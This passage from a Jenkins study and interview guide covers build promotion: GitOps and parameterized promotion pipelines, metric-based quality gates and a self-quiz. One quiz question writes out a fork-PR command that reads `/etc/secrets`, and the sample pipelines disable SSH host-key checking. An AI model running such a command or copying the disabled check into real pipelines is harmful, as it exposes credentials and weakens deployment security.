https://argocd.example.com/api/v1/applications/${APP_NAME}-dev \
                                        | python3 -c "import sys,json; \
                                          d=json.load(sys.stdin); \
                                          print(d['status']['health']
['status'])"
                                """,
                                returnStdout: true
                            ).trim()
                            return status == 'Healthy'
                        }
                    }
                }
            }
        }

        stage('Integration Tests on Dev') {
            steps {
                sh 'mvn verify -Pintegration -Denv=dev'
```

```
            }
        }

        stage('Promote: Staging (via GitOps)') {
            when {
                branch 'main'
                beforeAgent false
            }
            steps {
                withCredentials([sshUserPrivateKey(
                    credentialsId: 'gitops-repo-key',
                    keyFileVariable: 'SSH_KEY'
                )]) {
                    sh """
                        cd /tmp/configs
                        git pull origin main
                        yq e '.image.tag = "${IMAGE_TAG}"' -i
apps/${APP_NAME}/staging/values.yaml
                        git add apps/${APP_NAME}/staging/values.yaml
                        git commit -m "chore: promote ${APP_NAME} to
staging: ${IMAGE_TAG}"
                        GIT_SSH_COMMAND="ssh -i \$SSH_KEY -o
StrictHostKeyChecking=no" \
                            git push origin main
                    """
                }
            }
        }

        stage('Promote: Production (Manual via GitOps)') {
            when { branch 'main'; beforeInput true; beforeAgent false }
            steps {
                input message: "Promote ${APP_NAME}:${IMAGE_TAG} to
production?",
                      submitter: 'release-managers'

                withCredentials([sshUserPrivateKey(
                    credentialsId: 'gitops-repo-key',
                    keyFileVariable: 'SSH_KEY'
                )]) {
                    sh """
                        cd /tmp/configs
                        git pull origin main
                        yq e '.image.tag = "${IMAGE_TAG}"' -i
apps/${APP_NAME}/production/values.yaml
                        git add apps/${APP_NAME}/production/values.yaml
                        git commit -m "chore: promote ${APP_NAME} to
production: ${IMAGE_TAG}

                        Approved by: ${env.BUILD_USER ?: 'unknown'}
                        Build: ${BUILD_URL}
                        "
                        GIT_SSH_COMMAND="ssh -i \$SSH_KEY -o
StrictHostKeyChecking=no" \
```

```
                                git push origin main
                            """
                        }
                        // Argo CD auto-syncs production → deploys the promoted
image
                    }
                }
            }
        }
```

⚙️ Pattern 3: Promotion Pipeline Triggered by Parameter

```
// Separate "promote" pipeline: takes an artifact from one env and deploys
to the next
// Triggered manually with the build number to promote

pipeline {
    agent none

    parameters {
        string(
            name:        'BUILD_TO_PROMOTE',
            description: 'Build number from the CI pipeline to promote to
production',
            defaultValue: ''
        )
        choice(
            name:    'FROM_ENV',
            choices: ['staging', 'dev'],
            description: 'Source environment (where the build was
verified)'
        )
    }

    stages {
        stage('Validate') {
            agent { label 'linux' }
            steps {
                script {
                    if (!params.BUILD_TO_PROMOTE) {
                        error('BUILD_TO_PROMOTE parameter is required')
                    }

                    // Verify the build exists and passed CI
                    def ciJob = 'myapp-ci-pipeline'
                    def build = Jenkins.instance
                        .getItemByFullName(ciJob)

?.getBuildByNumber(params.BUILD_TO_PROMOTE.toInteger())
```

```
                    if (!build) {
                        error("Build #${params.BUILD_TO_PROMOTE} not found
in ${ciJob}")
                    }
                    if (build.result?.toString() != 'SUCCESS') {
                        error("Build #${params.BUILD_TO_PROMOTE} did not
succeed — cannot promote")
                    }

                    // Get the image tag from that build
                    def imageTag = build.environment.get('IMAGE_TAG')
                    env.IMAGE_TAG     = imageTag
                    env.FULL_IMAGE    =
"registry.example.com/myservice:${imageTag}"
                    echo "Promoting: ${env.FULL_IMAGE}"
                    echo "From:      ${params.FROM_ENV}"
                }
            }
        }

        stage('Verify Image Exists') {
            agent { label 'docker' }
            steps {
                sh "docker manifest inspect ${env.FULL_IMAGE} ||
error('Image not found in registry')"
            }
        }

        stage('Approve Production Promotion') {
            agent none
            steps {
                input(
                    message:   "Promote build #${params.BUILD_TO_PROMOTE}
(${env.IMAGE_TAG}) to PRODUCTION?",
                    ok:        'Promote',
                    submitter: 'release-managers'
                )
            }
        }

        stage('Promote to Production') {
            agent { label 'deploy' }
            steps {
                sh """
                    helm upgrade --install myservice ./chart \
                        --namespace production \
                        --set image.tag=${env.IMAGE_TAG} \
                        -f chart/values-production.yaml \
                        --wait --atomic
                """
            }
        }
    }
}
```

⚙️ Promotion with Automated Quality Gates

```
// Promotion that checks metrics before auto-promoting
// Uses Datadog/Prometheus API to verify deployment quality

stage('Auto-Promote: Staging → Production') {
    when { branch 'main' }
    agent { label 'linux' }
    steps {
        script {
            // Wait for staging metrics to stabilize
            sleep(time: 5, unit: 'MINUTES')

            // Check error rate from Datadog
            withCredentials([string(credentialsId: 'datadog-api-key',
variable: 'DD_API_KEY')]) {
                def errorRate = sh(
                    script: """
                        curl -s "https://api.datadoghq.com/api/v1/query" \
                            -H "DD-API-KEY: \$DD_API_KEY" \
                            -H "DD-APPLICATION-KEY: ${env.DD_APP_KEY}" \
                            --data-urlencode "from=-5m" \
                            --data-urlencode "to=now" \
                            --data-urlencode
"query=avg:myservice.errors.rate{env:staging}" \
                            | python3 -c "import sys,json;
d=json.load(sys.stdin); print(d['series'][0]['pointlist'][-1][1])"
                    """,
                    returnStdout: true
                ).trim().toDouble()

                def p99Latency = sh(
                    script: """
                        # Similar Datadog query for p99 latency
                        echo "75.3"  # Simplified - actual would query
Datadog
                    """,
                    returnStdout: true
                ).trim().toDouble()

                echo "Staging Error Rate: ${errorRate}% (threshold: 1%)"
                echo "Staging P99 Latency: ${p99Latency}ms (threshold:
200ms)"

                if (errorRate > 1.0) {
                    error("❌ Error rate ${errorRate}% exceeds 1%
threshold - blocking promotion")
                }
                if (p99Latency > 200.0) {
```

```
                    error("❌ P99 latency ${p99Latency}ms exceeds 200ms
threshold — blocking promotion")
                }

                echo "✅ Quality gates passed — auto-promoting to
production"
            }
        }
    }
}
```

🔑 Key Concepts

Concept	Meaning
Build promotion	Moving a verified artifact to a higher environment
Immutable artifact	Same binary/image throughout all environments — never rebuild
Artifact versioning	Unique tag per build: `<semver>-<git-sha>-<build-number>`
Linear promotion	Single pipeline with sequential environment stages
GitOps promotion	Promotion = commit to config repo; CD tool syncs the environment
Separate promote job	Dedicated pipeline for promoting existing builds
Automated quality gates	Metric thresholds (error rate, latency) that must pass before promotion
Promotion record	Audit trail: who promoted what artifact to which environment when
Fingerprinting	Jenkins artifact fingerprinting — tracks which build produced which artifact

---

💬 Short Crisp Interview Answer

> *"Build promotion is the practice of moving a single, immutable artifact through progressively more rigorous environments. The fundamental principle: build the artifact once, tag it uniquely with a semantic version and git SHA, push it to an artifact registry, then deploy that exact same artifact to dev, staging, and production. Never rebuild per environment — rebuild means a different binary and breaks traceability. Implementation options: a linear pipeline with `when { branch 'main' }` stages for each environment, with an `input` gate before production; a GitOps approach where promotion is a commit to a config repo and Argo CD deploys to match; or a separate parameterized 'promote' pipeline that takes a build number and re-deploys that exact image. Automated quality gates — checking error rates and latency from the staging deployment before auto-promoting — implement Continuous Deployment. Manual input gates implement Continuous Delivery. The choice depends on your organization's risk tolerance and regulatory requirements."*

🔬 Deep Dive Answer

Immutable Artifact Traceability:

```
Traceability chain:
  GitHub commit abc1234
    → CI build #42 (BUILD_NUMBER=42, GIT_COMMIT=abc1234)
      → Docker image: registry.io/myservice:42-abc1234
        → Staged to dev:       registry.io/myservice:42-abc1234 ✅
        → Staged to staging:   registry.io/myservice:42-abc1234 ✅
        → Staged to production: registry.io/myservice:42-abc1234 ✅

Investigation: "P1 incident in production — what version is running?"
  kubectl get deploy myservice -o yaml | grep image
  → registry.io/myservice:42-abc1234

  CI pipeline: Build #42
  → Git commit: abc1234
  → GitHub PR: #156 — "Add payment retry logic"
  → Author: alice@example.com
  → Changed files: PaymentService.java, PaymentRetryPolicy.java

  Root cause found in 60 seconds ✅

Without promotion (rebuilt per env):
  What's in production? myservice:latest (rebuilt on main)
  Exact commit? Unknown — could be any commit since last deploy
  Investigation: hours
```

The Promotion Metadata Problem:

```
// When promoting, record full provenance in the deployment

def recordPromotion(String env, String imageTag, String buildUrl, String
approver) {
    // Record in your CMDB / deployment tracking system
    sh """
        curl -X POST https://deployments.internal/api/v1/promotions \
            -H 'Content-Type: application/json' \
            -d '{
                "service":      "${APP_NAME}",
                "version":      "${imageTag}",
                "environment":  "${env}",
                "build_url":    "${buildUrl}",
                "git_commit":   "${GIT_COMMIT}",
                "promoted_by":  "${approver}",
                "promoted_at":  "${new Date().format('yyyy-MM-
ddTHH:mm:ssZ')}",
                "pipeline_url": "${BUILD_URL}"
            }'
    """
    // Also tag the Docker image with promotion metadata
    sh """
        docker buildx imagetools create \
```

```
                --tag registry.io/${APP_NAME}:${env}-latest \
                registry.io/${APP_NAME}:${imageTag}
    """
}
```

🏭 Real-World Production Example

Stripe's Build Promotion: Stripe builds their services once per commit, producing a Docker image tagged with the commit SHA (`sha-abc1234567`). The promotion system: automated tests run against the SHA-tagged image in an isolated test environment. When tests pass, the image is promoted to staging using their internal tool `pay`. After 30 minutes on staging with no increase in error rate or latency (monitored via their internal metrics system), the image is automatically promoted to production — but only during a configurable release window (not Friday afternoons). Rollback is immediate: promote the previous SHA tag back to production (30-second operation).

❓ Common Interview Questions & Strong Answers

Q1: Why should you never rebuild an artifact per environment?

> Rebuilding means the artifact you deploy to production is NOT the one you tested in staging. Small differences can exist between builds even from the same commit: dependency resolution can pull a newer patch version, build timestamps differ, non-deterministic test execution can mask flaky tests. More importantly, you lose traceability — you can't say "the exact binary that passed integration tests is the one running in production." Immutable artifacts with unique tags (semantic version + git SHA + build number) give you exact traceability: which commit, which build, which test run, which environment. When something breaks in production, you can trace directly to the PR that introduced the change in minutes.

Q2: How does GitOps promotion differ from push-based promotion? When would you choose GitOps?

> Push-based promotion: the CI pipeline directly calls `helm upgrade` or `kubectl apply` with the new image tag — it pushes the change to the cluster. GitOps promotion: the CI pipeline commits the new image tag to a config repository; an operator (Argo CD, Flux) running inside the cluster detects the change and applies it. Choose GitOps when: you want the cluster's desired state to be fully readable in Git (audit trail of every config change as a commit); you need to restrict direct cluster access from CI (pipeline only needs Git write access, not cluster access); you want rollback to be a `git revert` (simple, fast, audited). Choose push-based when: your team is small and GitOps operational complexity isn't justified; you need very fast feedback on deployment status (GitOps adds the sync latency); or you're using tools that integrate poorly with GitOps reconciliation.

⚠ Tricky Edge Cases & Gotchas

- **⚠ Helm `--atomic` doesn't guarantee a clean rollback on all failures.** `--atomic` rolls back to the previous Helm release if the upgrade fails. But if the failure is in a `pre-upgrade` hook (database

migration that half-ran), rolling back the Helm release doesn't undo the partial migration. Always think about rollback safety for stateful operations, and use the Expand/Contract DB migration pattern.

- **GitOps promotion race condition.** If two CI builds complete nearly simultaneously (two commits to main in rapid succession), both pipelines try to update the config repo. The second one may fail with a git merge conflict on the values file. Fix: use a retry loop on the git push with pull-rebase, or use a dedicated promotion microservice that serializes config repo updates.
- **Image tag collision.** If you use `<build-number>` as the tag and delete build history (build discarder), build numbers restart. `myapp:1` gets reused. Always include the git SHA in the tag: `<build>-<sha>` or just use the SHA as the sole tag.
- **`docker manifest inspect` doesn't pull the image.** Verifying an image exists before deploying using `docker manifest inspect` only checks the registry manifest — it doesn't pull and scan the image. The image could exist in the registry but be malformed. Always include an actual pull + verification step for production deployments.
- **Promotion to production of a build that was valid when tested but isn't now.** If you promote a 2-week-old build to production, its dependencies (Kubernetes, underlying OS, TLS certs) may have changed since testing. Always re-verify against current production config before promoting old builds.

🔗 Connections to Other Topics

Connected Topic	How It Connects
Immutable Artifacts (9.1)	Promotion is the workflow; immutability is the principle
Input Steps (4.4)	Manual gates are the human touchpoints in promotion
GitOps (9.3)	GitOps promotion is the most common advanced pattern
Environment Promotion (9.2)	Detailed environment-to-environment patterns
DORA Metrics (1.9)	Deployment Frequency and Lead Time measured from promotion events
Deployment Strategies (1.7)	Blue-green, canary applied during the final production promotion step

---

📊 Category 4 Summary — Quick Reference

Topic	Core Concept	Interview Priority
4.1 Multi-Branch	Auto-discovers branches, branch-aware Jenkinsfile, trust model for fork PRs	⭐⭐⭐⭐⭐
4.2 Org Folders	Zero-config org-wide discovery, GitHub App auth, Checks API	⭐⭐⭐⭐
4.3 Restart from Stage ⚠	What's preserved (stashes) vs lost (env vars), durability dependency	⭐⭐⭐⭐

Topic	Core Concept	Interview Priority
4.4 Input Steps	`agent none` + input = no idle executor, timeout auto-reject, submitter capture	⭐⭐⭐⭐⭐
4.5 Timeout/Retry	`timeout` wraps `retry` vs `retry` wraps `timeout`, `waitUntil` + timeout	⭐⭐⭐⭐
4.6 When Conditions	`beforeAgent true`, all condition types, combinators	⭐⭐⭐⭐⭐
4.7 Durability ⚠	`PERFORMANCE_OPTIMIZED` for K8s agents, `@NonCPS` for non-serializable types	⭐⭐⭐⭐⭐
4.8 Build Promotion	Immutable artifact, linear vs GitOps vs parameterized promotion, quality gates	⭐⭐⭐⭐⭐

🔑 The Mental Model for Category 4

```
MULTI-BRANCH + ORG FOLDERS = Pipeline Discovery at Scale
  Every repo, every branch → automatic pipeline, no admin involvement
  Trust model = the security foundation for fork PRs

RESTART + DURABILITY = The Survivability Spectrum
  Faster build ← ──────────────────────────────── → Safer on restart
  PERFORMANCE_OPTIMIZED     SURVIVABLE_NONATOMIC     MAX_SURVIVABILITY

  With Kubernetes agents: PERFORMANCE_OPTIMIZED (agents die on restart
anyway)
  With input gates (no agent): SURVIVABLE_NONATOMIC (input must survive
restart)

INPUT STEPS = The Human Gate
  ✅ agent none = no wasted executor during approval wait
  ✅ timeout = no infinite pend
  ✅ submitterParameter = audit trail of who approved

WHEN CONDITIONS = Smart Routing
  ✅ beforeAgent true = don't waste expensive agents on wrong branches
  ✅ branch conditions = different pipeline behavior per branch type
  ✅ expression{} = arbitrary Groovy conditions

BUILD PROMOTION = The Deployment Philosophy
  Build once → tag immutably → test thoroughly → promote the same binary
  NOT: build → test → rebuild → test again → rebuild → deploy

  Promotion record = commit SHA + artifact tag + environment + approver +
timestamp
  This record enables instant RCA in production incidents
```

🧪 Self-Quiz — 10 Interview Questions

1. A developer creates a new feature branch and pushes a commit. Walk through exactly what happens in a Multi-Branch Pipeline — from push to build start.
2. What is the `CHANGE_ID` variable and when is it populated? What does its presence tell you about the build context?
3. You have a production deploy stage that waits for `input` approval. The Jenkins Controller restarts while approval is pending. What happens? What must you configure to ensure the approval wait survives?
4. Explain the `beforeAgent true` optimization in `when` conditions. Why does it matter for expensive agents like GPU nodes or Mac agents?
5. `timeout(10min) { retry(3) { ... } }` vs `retry(3) { timeout(10min) { ... } }` — what's the difference? Which is correct for "each attempt gets 10 minutes"?
6. A pipeline uses `PERFORMANCE_OPTIMIZED` durability. After a Controller crash, the pipeline is restarted from stage 4 but `env.IMAGE_TAG` is empty. Why? How do you fix the pipeline design?
7. How does GitHub App authentication differ from Personal Access Token authentication for Organization Folders? Why is GitHub App preferred?
8. Design a build promotion pipeline for a Python microservice: build wheel, push to Nexus, test in dev namespace, auto-promote to staging if tests pass, manual gate for production.
9. A Multi-Branch Pipeline builds fork PRs and a PR author runs `sh 'cat /etc/secrets'` in their Jenkinsfile. What's the risk and how do you prevent it?
10. What's the difference between Continuous Delivery and Continuous Deployment from a Jenkins pipeline perspective? Which `input` step configurations implement each?

Next: Category 5 — Jenkins Plugin Ecosystem (GitHub plugin, Kubernetes plugin, Blue Ocean, credentials plugins) Or: "quiz me" to test yourself on Category 4

> **Document:** Category 4 Complete | Jenkins Pipelines — Advanced Patterns **Coverage:** 8 topics | Intermediate → Advanced | Architectural pipeline knowledge **Key theme:** This is where pipeline users become pipeline architects